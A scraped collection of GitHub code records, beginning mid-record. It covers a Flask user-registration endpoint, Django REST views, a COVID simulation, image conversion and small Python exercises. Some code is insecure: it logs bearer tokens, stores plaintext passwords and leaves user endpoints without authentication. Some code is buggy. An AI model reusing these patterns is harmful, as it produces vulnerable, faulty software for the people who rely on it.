request.data.decode(\"utf-8\")\n        request_body = json.loads(decoded_data)\n        logger.info(request_body)\n\n        # Get the inputted \"current_user_name\" from the URL path\n        current_username = request.view_args['current_user_name']\n\n        # In order to REGISTER a NEW user, the CURRENT user must\n        # (a) be authenticated using the header the provided\n        # (b) isAdmin == TRUE\n\n        # (a) Current_User Authentication:\n        try:\n            auth_header = request.headers.get('X-Authorization') # auth_header = \"bearer [token]\"\n            logger.info('X-Authorization was included. Getting bearer token...')\n            token = auth_header.split()[1] # token = \"[token]\"\n            logger.info('Token: ' + token)\n        except Exception:\n            # User didn't include authorization in their request\n            logger.error('X-Authorization was NOT included in the request.')\n            response = {\n                'message': \"X-Authorization / Bearer Token was NOT included in the request.\",\n            }\n            return response, 401\n\n        # If token is in the database --> valid user\n        # datastore_client = datastore.Client()\n        datastore_client = get_datastore_client()\n        query = datastore_client.query(kind='user')\n        query.add_filter(\"bearerToken\", \"=\", token)\n        results = list(query.fetch())\n        logger.info('Number of users with matching tokens: ' + str(len(results)))\n\n        if len(results) == 0: # The token is NOT in the database --> Invalid user\n            logger.error('Token: ' + token + ' does not match any registered users.')\n            response = {\n                'message': \"Unauthorized user. Bearer Token provided is not in the datastore.\"\n            }\n            return response, 401\n        # else, the current user is in the database. Carry on.\n        \n        # (b) see if the Current User's: \"isAdmin == true\"\n        logger.info(\"Checking if user is an admin...must be an admin to register other users\")\n        key = datastore_client.key('user', current_username) # current_user_name that's provided in the parameter path\n        current_user_entity = datastore_client.get(key)\n        current_user_isAdmin = current_user_entity[\"isAdmin\"]\n        \n        if not(current_user_isAdmin) or (current_user_isAdmin==\"False\") or (current_user_isAdmin==\"false\"): # If the current user (who's trying to upload a new user) is NOT an Admin --> Can't upload.\n            logger.error(\"Current user (\"+current_username+\") is not an Admin. Therefore cannot upload a new user.\")\n            logger.error(current_username + \"  has an isAdmin == \" + str(current_user_isAdmin) + \". Thus cannot upload another user.\")\n            response = {\n                'message': \"Current user is not an Admin. Therefore cannot upload a new user.\"\n            }\n            return response, 401\n        # else: The current user IS an admin --> they can now upload a new_user\n\n        try:\n            new_user_name = request_body['User']['name']\n            new_user_isAdmin = request_body['User']['isAdmin']\n\n            new_user_password = request_body['Secret']['password']\n        except Exception:\n            logger.error(\"Error getting values from request body.. Some fields may be null\")\n            response = {\n                \"message\": \"Error getting values from request body.\"\n            }\n            return response, 401\n\n        logger.info(\"Creating a new user using the values successfuly gotten from the request body...\")\n        # Create a new user\n        # The kind for the new entity\n        kind = 'user'\n\n        # The name/ID for the new entity\n        name = new_user_name # Use the \"username\" for the \"name/ID\"/Identifier of the Entity\n\n        # The Cloud Datastore key for the new entity\n        new_user_key = datastore_client.key(kind, name)\n\n        # Prepares the new entity\n        new_user = datastore.Entity(key=new_user_key)\n        new_user['name'] = new_user_name\n        new_user['isAdmin'] = str(new_user_isAdmin) # is this wrong to do. should i not convert it to a string ....\n        new_user['password'] = new_user_password\n        token = uuid.uuid1().hex\n        new_user['bearerToken'] = token\n\n        # Saves the entity\n        datastore_client.put(new_user)\n        \n        response =  {\n            \"message\": \"User successfully uploaded.\",\n            \"bearerToken\": token\n        }\n        \n        return response, 200","repo_name":"Purdue-ECE-461/project-2-project-2-1","sub_path":"app_api_requests/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":5469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38689411172","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n# Script para configurar json do modelo de classificação\n\n\n# In[3]:\n\n\nimport json, os, sys, getopt\n\n\n# In[4]:\n\n\ndef getListOfFiles(dirName):\n    # create a list of file and sub directories \n    # names in the given directory \n    listOfFile = os.listdir(dirName)\n    allFiles = list()\n    # Iterate over all the entries\n    for entry in listOfFile:\n        # Create full path\n        fullPath = os.path.join(dirName, entry)\n        # If entry is a directory then get the list of files in this directory \n        if os.path.isdir(fullPath):\n            allFiles = allFiles + getListOfFiles(fullPath)\n        else:\n            allFiles.append(fullPath)\n                \n    return allFiles\n\n\ndef main(argv):\n\n    arg_file = ''\n    try:\n        opts, args = getopt.getopt(argv,\"hi:\",[\"ifile=\"])\n    except getopt.GetoptError:\n        print('test.py -i <file>')\n        sys.exit(2)\n    for opt, arg in opts:\n        if opt == '-h':\n            print('test.py -i <inputfile> -o <outputfile>')\n            sys.exit()\n        elif opt in (\"-i\", \"--ifile\"):\n            arg_file = arg\n    print('Input file is \"', arg_file)\n    \n    arg_file_filename = '%s'%arg_file\n    arg_file_filename = arg_file_filename.split('.')[0]\n\n    ts_masks = getListOfFiles(os.path.join(os.getcwd(),'clara_train_covid19_ct_lung_seg_v1/eval'))\n    ts_masks = [s for s in ts_masks if arg_file_filename in s]\n    \n    ts_images = getListOfFiles(os.path.join(os.getcwd(),'UPLOAD_IMAGES'))\n    ts_images = [s for s in ts_images if arg_file in s]\n\n    ts_masks.sort()\n    ts_images.sort()\n    \n#     print('ts_masks:',ts_masks)\n#     print('ts_images:',ts_images)\n\n\n    # In[33]:\n\n\n    # lê json\n    json_file_path = './clara_train_covid19_3d_ct_classification_v1_2_etapa_AUG/config/original/dataset_0.json'\n    key_list = list()\n    with open(json_file_path, 'r') as j:\n         contents = json.loads(j.read())\n\n    # apaga conteudo de inferência       \n    new_contents = contents.copy()\n    del new_contents['validation']\n\n    # transformando lista de inferencia em dicionário\n    ts_dict = list()\n    for i in range(len(ts_images)):\n        my_dict = {'image':ts_images[i],'label_image':ts_masks[i]}\n        ts_dict.append(my_dict)\n\n    # inserindo dicionario de inferència no json\n    new_contents['validation']=ts_dict\n\n    # salvando novo json\n    out_path = './clara_train_covid19_3d_ct_classification_v1_2_etapa_AUG/config/'\n    with open(os.path.join(out_path,'dataset_0.json'), 'w') as fp:\n        json.dump(new_contents, fp,indent=4)\n\nif __name__ == \"__main__\":\n   main(sys.argv[1:])","repo_name":"CRIA-CIMATEC/covid-19","sub_path":"web/backend/Clara Infer/config_dataset_0_new.py","file_name":"config_dataset_0_new.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"22833356880","text":"from tournament import *\nfrom termcolor import colored\n\n#Author: Andrew Jordan Siciliano\n#Simple Tree Representation of a Tournament Bracket\n\ndevisions = ['advanced','intermediate','beginer']\n\nprint(\"\\n\" + \"*\"*55 + \"\\n\")\n\nfor devision in devisions:\n\t\n\tprint(colored(\"\\n\"+devision.upper()+\" BRACKET\", 'magenta',attrs=[\"underline\",\"bold\"]))\n\n\ttry:\n\n\t\tbracket = tournament(\"undecided\",0,None)\n\n\t\tbracket.run_game(\"player_files/\"+devision+\".txt\")\n\n\t\ttree = bracket.printify()\n\t\ttree.show(line_type=\"ascii-em\")\n\n\texcept:\n\t\tprint(colored('An Error Occured!', 'red'))\n\n\tprint(\"\\n\" + \"*\"*55 + \"\\n\")","repo_name":"AjSiciliano/Tournament-Bracket","sub_path":"default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"70657705849","text":"from django.shortcuts import render\nfrom django.http import JsonResponse\nfrom rest_framework import generics, status, views\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework.utils import serializer_helpers\nfrom .serializers import TaskSerializer, UserSerializer, EmailVerificationSerializer\nfrom .models import Task, User\nfrom rest_framework_simplejwt.tokens import RefreshToken\nfrom .utils import Util\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.urls import reverse\nimport jwt\nfrom django.conf import settings\nimport datetime as dt\n# from summarizer import Summarizer\n# Create your views here.\n\n# model = Summarizer()\nfrom transformers import pipeline\nsummarizer = pipeline(\n    \"summarization\", model=\"philschmid/distilbart-cnn-12-6-samsum\")\n\n\n@api_view(['GET'])\ndef apiOverview(request):\n    api_urls = {\n        'List': '/task-list',\n        'Detail View': '/task-detail/<str:pk>',\n        'Create': '/task-create',\n        'Update': '/task-update/<str:pk>',\n        'Delete': '/task-delete/<str:pk>',\n        'UserList': \"/user-list\",\n        'UserDetail': '/user-detail/<str:email>',\n        'UserCreate': '/user-create/',\n        'UserUpdate': '/user-update/<str:email>',\n        'UserDelete': '/user-delete/<str:email>',\n    }\n    return Response(api_urls)\n\n\n@api_view(['GET'])\ndef taskList(request):\n    tasks = Task.objects.all()\n    serializer = TaskSerializer(tasks, many=True)\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef taskDetail(request, pk):\n    tasks = Task.objects.get(id=pk)\n    serializer = TaskSerializer(tasks, many=False)\n    return Response(serializer.data)\n\n\n@api_view(['POST'])\ndef taskCreate(request):\n    serializer = TaskSerializer(data=request.data)\n    if serializer.is_valid():\n        serializer.save()\n\n    return Response(serializer.data)\n\n\n@api_view(['POST'])\ndef taskUpdate(request, pk):\n    task = Task.objects.get(id=pk)\n    serializer = TaskSerializer(instance=task, data=request.data)\n    if serializer.is_valid():\n        serializer.save()\n    return Response(serializer.data)\n\n\n@api_view(['DELETE'])\ndef taskDelete(request, pk):\n    task = Task.object.get(id=pk)\n    task.delete()\n    return Response(\"Item successfully deleted!\")\n\n\n@api_view(['GET'])\ndef userList(request):\n    users = User.objects.all()\n    serializer = UserSerializer(users, many=True)\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef userDetail(request, email):\n    users = User.objects.get(email=email)\n    serializer = UserSerializer(users, many=False)\n    return Response(serializer.data)\n\n\n@api_view(['POST'])\ndef userCreate(request):\n    serializer = UserSerializer(data=request.data)\n    if serializer.is_valid():\n        serializer.save()\n    user_data = serializer.data\n    user = User.objects.get(email=user_data['email'])\n    token = RefreshToken.for_user(user).access_token\n\n    # current_site = get_current_site(request).domain\n    current_site = 'localhost:3000/email-verify/'\n\n    # relativeLink = reverse('email-verify')\n\n    # absurl = 'http://'+current_site+relativeLink+\"?token=\"+str(token)\n    absurl = 'http://'+current_site+\"token=\"+str(token)\n\n    email_body = 'Hello. Use link below to verify your email \\n' + absurl\n    data = {'email_body': email_body, 'to_email': user.email,\n            'email_subject': 'Verify your email'}\n    Util.send_email(data)\n    return Response(user_data, status=status.HTTP_201_CREATED)\n\n\nclass VerifyEmail(views.APIView):\n    serializer_class = EmailVerificationSerializer\n\n    def get(self, request):\n        token = request.GET.get('token')\n        try:\n            # payload = jwt.decode(token, settings.SECRET_KEY, algorithms=[\"HS256\"])\n            new_joinne = jwt.decode(\n                token, settings.SECRET_KEY, algorithms=[\"HS256\"])\n            user = User.objects.get(id=new_joinne['user_id'])\n            if not user.is_verified:\n                user.is_verified = True\n                user.save()\n            return Response({'email': 'Successfully activated!'}, status=status.HTTP_200_OK)\n        except jwt.ExpiredSignatureError as identifier:\n            return Response({'error': 'Activation Link expired!'}, status=status.HTTP_400_BAD_REQUEST)\n        except jwt.exceptions.DecodeError as identifier:\n            return Response({'error': 'Invalid token!'}, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['POST'])\ndef userUpdate(request, email):\n    user = User.objects.get(email=email)\n    serializer = UserSerializer(instance=user, data=request.data)\n    if serializer.is_valid():\n        serializer.save()\n    return Response(serializer.data)\n\n\n@api_view(['DELETE'])\ndef userDelete(request, email):\n    user = User.objects.get(email=email)\n    user.delete()\n    return Response(\"User successfully deleted!\")\n\n\ndef give_time(transcript):\n    startPM = transcript.find(\"PM:\")\n    startAM = transcript.find(\"AM:\")\n    if(startAM != -1 and startPM != -1):\n        start = min(startAM, startPM)\n    elif(startAM == -1 and startPM != -1):\n        start = startPM\n    else:\n        start = startAM\n    string = transcript[start - 10:start + 3]\n    dash = string.find(\"-\")\n    string = string[dash + 1:]\n    EM = string.find(\"M\")\n    start = string[1:EM + 1]\n    # print(start)\n    PM = transcript.rfind(\"PM:\")\n    AM = transcript.rfind(\"AM:\")\n    if(AM > PM):\n        end = AM\n    else:\n        end = PM\n    string = transcript[end - 10:end + 3]\n    dash = string.find(\"-\")\n    string = string[dash + 1:]\n    EM = string.find(\"M\")\n    end = string[1:EM + 1]\n    # print(end)\n    if(start[len(start) - 2:] == \"PM\"):\n        colon = start.find(\":\")\n        start = str(int(start[:colon]) + 12) + start[colon:-3] + \":00\"\n    else:\n        start = start[:-3] + \":00\"\n    if(end[len(end) - 2:] == \"PM\"):\n        colon = end.find(\":\")\n        end = str(int(end[:colon]) + 12) + end[colon:-3] + \":00\"\n    else:\n        end = end[:-3] + \":00\"\n    start_dt = dt.datetime.strptime(start, \"%H:%M:%S\")\n    end_dt = dt.datetime.strptime(end, \"%H:%M:%S\")\n    duration = end_dt - start_dt\n    return str(duration)\n\n\ndef Attendance(transcript):\n    names = set()\n    for line in transcript.split('\\n'):\n        if \"PM:\" in line:\n            dash = line.find(\"-\")\n            name = line[:dash - 1]\n            names.add(name)\n        elif \"AM:\" in line:\n            dash = line.find(\"-\")\n            name = line[:dash - 1]\n            names.add(name)\n    return [len(names), names]\n\n\n@api_view(['POST'])\ndef userTextData(request):\n    # print(request.data)\n    time_duration = give_time(request.data['article'])\n    speakers = Attendance(request.data['article'])\n    summary = mlFunction(request.data['article'])\n    return Response({\"summary\": summary, \"time_duration\": time_duration, \"totalSpeakers\": speakers[0], \"speakerNames\": speakers[1]}, status=status.HTTP_201_CREATED)\n    # return Response(request.data[\"article\"])\n\n\ndef mlFunction(text):\n    # print(\"This is working \", text)\n    summary = summarizer(text)\n    return summary\n\n\n@api_view(['POST'])\ndef sendSummaryEmail(request):\n    email_body = 'Hello. This is the summary generated of the meet. \\n\\n' + \\\n        request.data['summary']\n    # email_body = 'Hello. This is the summary generated of the meet. \\n\\n' + \\\n    #     request.data['summary']+'\\n\\n Time duration of the meet: ' + request.data['time_duration'] + '\\n\\n Total Speakers: ' + request.data['totalSpeakers'] + '\\n\\n Speakers: ' + request.data['speakerNames'] \n    to_email = request.data['send_to']\n    print(to_email)\n    data = {'email_body': email_body, 'to_email': to_email,\n            'email_subject': 'Meet Summary'}\n    Util.send_email(data)\n    return Response(\"Meet summary mail sent!\", status=status.HTTP_201_CREATED)\n","repo_name":"yashwadhwani08/Deep-Blue-backend","sub_path":"testApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4545773790","text":"#function 1\n# def namaFunction():\n#     program\n\n# def Hai():\n#     print('Hello Rain!')\n# Hai(); Hai()\n\n#function 2\n# def kuadrat(y):\n#     print(y ** 2)\n# kuadrat(2)\n# kuadrat(3)\n# kuadrat(4)\n\n#function 3\n# def pangkat(angka1, angka2):\n#     print(angka1**angka2)\n# pangkat(2,3)\n# pangkat(3,3)\n\n#function 4\n# def pangkat1(angka3, angka4):\n#     print(angka1**angka2)\n# pangkat(2,3)\n# pangkat(3,3)\n# pangkat (\n#     float(input('Ketik angka pertama: ')),\n#     float(input('Ketik angka kedua: '))\n# )\n\n#function 5\n# def gangen(x): \n#     if int(x % 2 == 0): \n#         print(f'{x} = Bilangan Genap.')\n#     else:\n#         print(f'{x} = Bilangan Ganjil.')\n# gangen(int(input('Ketikkan angka: ')))\n\n#function 6\n# def aritmatik(a,c,i):\n#     if c == '+':\n#         print(a+i)\n#     elif c == '-':\n#         print(a-i)\n#     elif c == '*':\n#         print(a*i)\n#     else:\n#         print(a/i)\n# aritmatik (\n#     float(input('Ketikkan bilangan pertama: ')),\n#     input('Masukkan operator: '),\n#     float(input('Ketikkan bilangan kedua: '))\n# )\n\n#function 7\n# x = 7\n# def tes(y):\n#     print(x)\n# tes(2) \n\n# #function 8\n# def tes():\n#     print(x)\n# tes()\n\n#function error\n# x = 7\n# def tes(y):\n#     z = 16\n#     print(x)\n\n# print(z)\n\n#function 10\n# std = ['Jarwo','Sopo','Asik']\n# def cari(x):\n#     print(x[0])\n#     print('Asik' in x)\n# cari(std)\n\n# test = 'test'\n\n\n#function 11\ndef vocal(kal):\n    if 'a' or 'i' or 'u' or 'e' in kal:\n        print(kal.replace('a','o'))\n        print(kal.replace('i','o'))\n        print(kal.replace('u','o'))\n        print(kal.replace('e','o'))\n    else:\n        print(kal)\nvocal(str(input('Masukkan sebuah kata: ')))\n\ndef vocal1(kal):\n   kal = kal.lower()\n   kal = kal.replace('a','o')\n   kal = kal.replace('i','o')\n   kal = kal.replace('u','o')\n   kal = kal.replace('e','o')\n   print(kal)\nvocal1(str(input('Masukkan sebuah kata: ')))\n\n#function 12\n# def Hello():\n#     print('Hello World!')\n# def returnHello():\n#         return 'Hello Return World'\n# Hello()\n# print(returnHello())\n\n# def Lpersegi(sisi):\n#     print('Luas = ', sisi*sisi)\n# def returnLpersegi(sisi):\n#     return sisi*sisi\n#x = 4\n# Lpersegi(4)\n#returnLpersegi(sisi)\n# print(returnLpersegi(4))\n\n","repo_name":"ksmrdn/Module01_Python","sub_path":"Course_Module01/py7.py","file_name":"py7.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8019672072","text":"import numpy as np\r\nfrom osgeo import gdal\r\nfrom PIL import Image\r\nimport os\r\n\r\ndef tif2numpyarray(input_file):\r\n    \"\"\"\r\n    read GeoTiff and convert to numpy.ndarray.\r\n    Inputs:\r\n        input_file (str) : the name of input tiff file\r\n    return:\r\n        image(np.array) : image for each bands\r\n    \"\"\"\r\n    # read the file and construct a zero numpy\r\n    dataset = gdal.Open(input_file, gdal.GA_ReadOnly)\r\n    image = np.zeros((dataset.RasterYSize, dataset.RasterXSize, dataset.RasterCount),\r\n                     dtype=float)\r\n    #print(\"******************************\")\r\n\r\n    # read the 4 bands in each geoTiff\r\n    band1 = dataset.GetRasterBand(1)\r\n    band2 = dataset.GetRasterBand(2)\r\n    band3 = dataset.GetRasterBand(3)\r\n    band4 = dataset.GetRasterBand(4)\r\n\r\n    # assign each band to the corresponding location in the array inline with RGB requirements\r\n    image[:, :, 0] = band1.ReadAsArray()\r\n    image[:, :, 1] = band2.ReadAsArray()\r\n    image[:, :, 2] = band3.ReadAsArray()\r\n    image[:, :, 3] = band4.ReadAsArray()\r\n    return image\r\n\r\ndef normalize(array,band):\r\n    \"\"\"\r\n    Normalizes numpy arrays into scale 0.0 - 1.0 to be used in RGB mapping\r\n    Inputs:\r\n        array: array to be normalized between 0-1\r\n    return:\r\n        normalized array\r\n    \"\"\"\r\n    \"\"\"\r\n    Select appropriate min and max to normalize\r\n    \"\"\"\r\n    # Min-Max values from Lagos TIF file\r\n    min = [352.5, 422, 504, 228]\r\n    max = [5246, 4056, 3918, 3577]\r\n\r\n    # Min-Max values from Accra TIF file\r\n    # min = [139, 230, 369.5, 201]\r\n    # max = [9918, 10392, 10400, 6500]\r\n\r\n    # Min-Max values from Nairobi TIF file\r\n    # min = [96.5, 50.5, 80.5, 30.5]\r\n    # max = [7110, 7366, 8004, 8042]\r\n    #min = [0, 0, 0, 0]\r\n    #max = [0.2856778204, 0.3260027468, 0.3961989582, 0.4650869071]\r\n\r\n    array_min, array_max = array.min(), array.max()\r\n    return ((array - min[band-1])/(max[band-1] - min[band-1]))\r\n\r\n\r\ndef convert_to_PNG(path):\r\n    \"\"\"\r\n    Construct a new image from the normalized numpy array\r\n    Changes bands order to fit the colors in original image\r\n    This function uses the normalize and tif2numpyarray\r\n    Inputs:\r\n        path : string path to the geoTiff file\r\n    return:\r\n        Image from array\r\n    \"\"\"\r\n\r\n    # Convert the image to numpy array using tif2numpyarray function\r\n    im  = tif2numpyarray(path)\r\n\r\n    # Normalize each band separately\r\n    a_image2 = np.empty_like(im)\r\n    a_image2 = im\r\n    a_image2[:,:,0] = normalize(im[:,:,0],1)\r\n    a_image2[:,:,1] = normalize(im[:,:,1],2)\r\n    a_image2[:,:,2] = normalize(im[:,:,2],3)\r\n    a_image2[:,:,3] = normalize(im[:,:,3],4)\r\n\r\n    # get RGB relevant value by multiplying * 255\r\n    a_image3 = a_image2*255\r\n\r\n    # remove any decimal point\r\n    a_image4 = np.around(a_image3, decimals=0)\r\n\r\n    a_image4[:,:,3] = 255\r\n    a_image4[:, :, 3]\r\n    a_image5 = np.copy(a_image4)\r\n    a_image4[:, :, 0] = a_image5[:, :, 0]\r\n    a_image4[:, :, 1] = a_image5[:, :, 1]\r\n    a_image4[:, :, 2] = a_image5[:, :, 2]\r\n\r\n    imr = Image.fromarray(np.uint8(a_image4))\r\n\r\n    return imr\r\n\r\n# Select parent directory\r\nparent_dir = '/home/ubuntu/Autoencoder/Final'\r\n\r\n# Create directory for PNG\r\nname = 'Lagos'\r\ndirectory = f'{name}/PNG/Train'\r\n\r\n# Create folder if doesn't exist\r\nfolder_path = os.path.join(parent_dir, directory)\r\nif not os.path.exists(folder_path):\r\n    os.makedirs(folder_path)\r\n\r\n# Select TIF folder\r\nPATH = f'/home/ubuntu/Autoencoder/Final/{name}/TIF'\r\n\r\n# Select PNG folder\r\nPATH_PNG = f'/home/ubuntu/Autoencoder/Final/{directory}/'+f'{name}' + '_clipped_{}_.png'\r\n\r\n# Convert TIF to PNG\r\ni=0\r\nfor filename in os.listdir(PATH):\r\n    path = PATH + '/' +  filename\r\n    print(path)\r\n    tmp_image = convert_to_PNG(path)\r\n    tmp_image.save(PATH_PNG.format(filename))\r\n    i = i + 1\r\n\r\nprint(\"Conversion Completed\")","repo_name":"mojahid/Mapping-Deprived-Areas-Using-Deep-Neural-Networks","sub_path":"7.Autoencoder/Code/Image Pre-Processing/2. ConvertToPNG.py","file_name":"2. ConvertToPNG.py","file_ext":"py","file_size_in_byte":3817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"40148706585","text":"\n# from math import sqrt\n\n# def quadratic(a,b,c):\n#     neg_b = b*-1;\n#     b_sq = pow(b,2)\n#     a2 = 2*a\n#     ac4 = a*c*4\n#     b_sqminusac4 = b_sq-ac4\n#     axisSymmetry = neg_b/a2\n    \n#     if (b_sqminusac4)>=0:\n#         x1 = (neg_b+(sqrt(b_sqminusac4)))/a2\n#         x2 = (neg_b-(sqrt(b_sqminusac4)))/a2\n#         return {\"x1\":x1, \"x2\":x2, \"i1\":0, \"i2\":0}\n#     if (b_sqminusac4)<=0:\n#         modulas = (b_sqminusac4)*-1\n#         IM = (sqrt(modulas))/a2\n#         RE = neg_b/a2\n#         return {\"x1\":RE, \"x2\":RE, \"i1\":IM, \"i2\":IM*-1}\n#     else:\n#         return {\"x1\":0, \"x2\":0, \"i1\":0, \"i2\":0}\n\n\n# if __name__ == \"__main__\":\n#     a=[1,1,1]\n#     b=[6,-2,-3]\n#     c=[5,1,10]\n#     print(quadratic(a[0],b[0],c[0]))\n#     # output : {'x1': -1.0, 'x2': -5.0, 'i1': 0, 'i2': 0}\n#     print(quadratic(a[1],b[1],c[1]))\n#     # output : {'x1': 1.0, 'x2': 1.0, 'i1': 0, 'i2': 0}\n#     print(quadratic(a[2],b[2],c[2]))\n#     # output : {'x1': 1.5, 'x2': 1.5, \n#     #         'i1': 2.7838821814150108, \n#     #         'i2': -2.7838821814150108}\n#     print(quadratic(a[2],b[2],0))\n#     # output :{'x1': 3.0, 'x2': 0.0, 'i1': 0, 'i2': 0}\n\n\nfrom math import sqrt\nfrom sympy import Symbol, plot\n\nclass Quadratic:\n\n    def __init__(self,a,b,c):\n        self.a = a\n        self.b = b\n        self.c = c\n\n    def find_roots(self):\n        neg_b = self.b*-1;\n        b_sq = pow(self.b,2)\n        a2 = 2*self.a\n        ac4 = self.a*self.c*4\n        b_sqminusac4 = b_sq-ac4\n        axisSymmetry = neg_b/a2\n        \n        if (b_sqminusac4)>=0:\n            x1 = (neg_b+(sqrt(b_sqminusac4)))/a2\n            x2 = (neg_b-(sqrt(b_sqminusac4)))/a2\n            return {\"x1\":x1, \"x2\":x2, \"i1\":0, \"i2\":0}\n        if (b_sqminusac4)<=0:\n            modulas = (b_sqminusac4)*-1\n            IM = (sqrt(modulas))/a2\n            RE = neg_b/a2\n            return {\"x1\":RE, \"x2\":RE, \"i1\":IM, \"i2\":IM*-1}\n        else:\n            return {\"x1\":0, \"x2\":0, \"i1\":0, \"i2\":0}\n\n    def plot_graph(self):\n        x = Symbol('x')\n        a = plot(self.a*x**2+self.b*x+self.c, legend = True , show = False)\n        a[0].line_color = \"b\"\n        # a[1].line_color = \"r\"\n        a.show()\n\nif __name__ == \"__main__\":\n    a=[1,1,1]\n    b=[6,-2,-3]\n    c=[5,1,10]\n    \n    q1 = Quadratic(1,6,5)\n    print(q1.find_roots())\n    q1.plot_graph()","repo_name":"tada1765/Quadratic","sub_path":"quadratic.py","file_name":"quadratic.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4384279756","text":"import sys\nimport os\nimport random\nimport numpy as np\nimport scipy.stats as st\nimport matplotlib.pyplot as plt\nmodule_path = os.path.abspath(os.path.join('../..'))\nif module_path not in sys.path:\n    sys.path.append(module_path + \"/src/simulations_v2\")\nfrom load_params import load_multigroup_params, load_params\nfrom dynamic_population_sim import DynamicPopulationSim\nfrom multi_group_simulation_dynamic_population import MultiGroupSimulationDynamicPopulation\nimport pandas as pd\nfrom util_functions import *\nfrom uncertainty_analysis import *\nfrom sim_helper_functions import *\n\nfrom math import sqrt\nfrom analysis_helpers import binomial_exit_function\nimport multiprocessing as mp\n\nbase_params_free = load_params('../../src/simulations_v2/params/jan4calibration/faculty_staff_post_movein_private.yaml')[1]\nbase_params_selfiso = load_params('../../src/simulations_v2/params/quarantine_analysis/oct12quarantine/ug_self_iso.yaml')[1]\nbase_params_post_movein = load_params('../../src/simulations_v2/params/jan4calibration/faculty_staff_pre_semester_private.yaml')[1]\n\nbase_params_free['severe_symptoms_daily_self_report_p'] = 0.36\nbase_params_selfiso['severe_symptoms_daily_self_report_p'] = 0.36\nbase_params_post_movein['severe_symptoms_daily_self_report_p'] = 0.36\n\noutside_infection_week = pd.DataFrame({'week':list(range(34,53)), 'new_weekly_cases':[0,0,0,0,0.000014,0,0,0.000056,0.000097,0.000014,0.000125,0.000083,0.000125,0.000194,0.000167,0.000320,0.000306,0.000264,0.000320]})\n\nfrom analysis_helpers import binomial_exit_function\nbase_params_selfiso['population_size'] = 0\nbase_params_free['population_size'] = 10283 \nbase_params_free['test_population_fraction'] = 0 \nbase_params_free['test_protocol_QFNR'] =.43\n# data analysis shows 106 non-\"arrival\" positives during movein period\n# 33 of these were found b/c of symptoms or surveillance\n#base_params_free['cases_isolated_per_contact'] = (106 - 33) / 33 \nbase_params_post_movein['test_population_fraction'] =0.098 #weighted average for students, weighted average for faculty and staff\nbase_params_free['test_protocol_QFNR'] = .43\nbase_params_free['daily_outside_infection_p'] = 0\nbase_params_free['sample_QI_exit_function'] = binomial_exit_function(0)\nbase_params_post_movein['sample_QI_exit_function'] = binomial_exit_function(0)\n\ninit_pop_count = 10283\nnew_population_counts = [int(count) for count in \"\"\"0\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0\"\"\".split('\\n')]\n\nmovein_contact_matrix = np.matrix(\n    [[base_params_free['expected_contacts_per_day'], 0],\n    [0, base_params_selfiso['expected_contacts_per_day']]])\n\n\ndef init_movein_sim(transmissions_per_contact, isolations_per_trace=None, outside_infection_week = None):\n    avg_init_cases = 0\n    infxn_prob = avg_init_cases / (sum(new_population_counts) + init_pop_count)\n    base_params = base_params_free.copy()\n    init_exposed =  np.random.binomial(init_pop_count, infxn_prob)\n    base_params['initial_E_count'] = init_exposed\n    base_params['exposed_infection_p'] = transmissions_per_contact\n    base_params_post_movein['exposed_infection_p'] = transmissions_per_contact\n    base_params_post_movein['outside_infection_p_array'] = outside_infection_week\n    \n    if isolations_per_trace != None:\n        base_params_free['cases_isolated_per_contact'] = isolations_per_trace\n        base_params_post_movein['cases_isolated_per_contact']=isolations_per_trace\n    free_group_population_dynamics = {}\n    movein_time_horizon = 18 # 8/16 through 9/2\n    new_case_exposed_rate = 1\n    for t in range(movein_time_horizon):\n        new_pop = new_population_counts[t]\n        new_cases = np.random.binomial(new_pop, infxn_prob)\n        new_exposed = np.random.binomial(new_cases, new_case_exposed_rate)\n        free_group_population_dynamics[t] = {'S': new_pop - new_exposed, 'E': new_exposed, 'ID': new_cases- new_exposed}\n        \n    dynamic_pop_sim = DynamicPopulationSim(\n        base_params,\n        base_params_selfiso,\n        base_params_post_movein,\n        movein_contact_matrix,\n        movein_time_horizon,\n        free_group_population_dynamics,\n        {}\n    )\n    return dynamic_pop_sim\n\nFS_actuals = pd.read_csv('https://raw.githubusercontent.com/peter-i-frazier/group-testing/master/src/simulations_v2/params/jan4calibration/actual_counts_group_4_extended_period.csv')\nFS_actual_counts = FS_actuals['cum_case_count']\n\ndef sample_FS_movein_trajectory(transmission_p, isos_per_trace=None,outside_infection_week = None):\n    dynamic_pop_sim = init_movein_sim(transmission_p, isos_per_trace,outside_infection_week)\n    # for each day\n    for i in range(len(FS_actual_counts)-1):\n        dynamic_pop_sim.step()\n    movein_df = dynamic_pop_sim.movein_sim.sims[0].sim_df\n    post_movein_df = dynamic_pop_sim.post_movein_sim.sim_df\n\n    post_movein_df.index = range(movein_df.shape[0]-1, post_movein_df.shape[0] + movein_df.shape[0] -1)\n    df = pd.concat([movein_df, post_movein_df[1:]])\n\n    return df\n\ndef sample_FS_trajectories(ntrajectories, transmission_p=0.011, isos_per_trace=None, outside_infection_week = None):\n    trajectories = []\n    for _ in range(ntrajectories):\n        t = sample_FS_movein_trajectory(transmission_p, isos_per_trace,outside_infection_week)\n        trajectories.append(t)\n    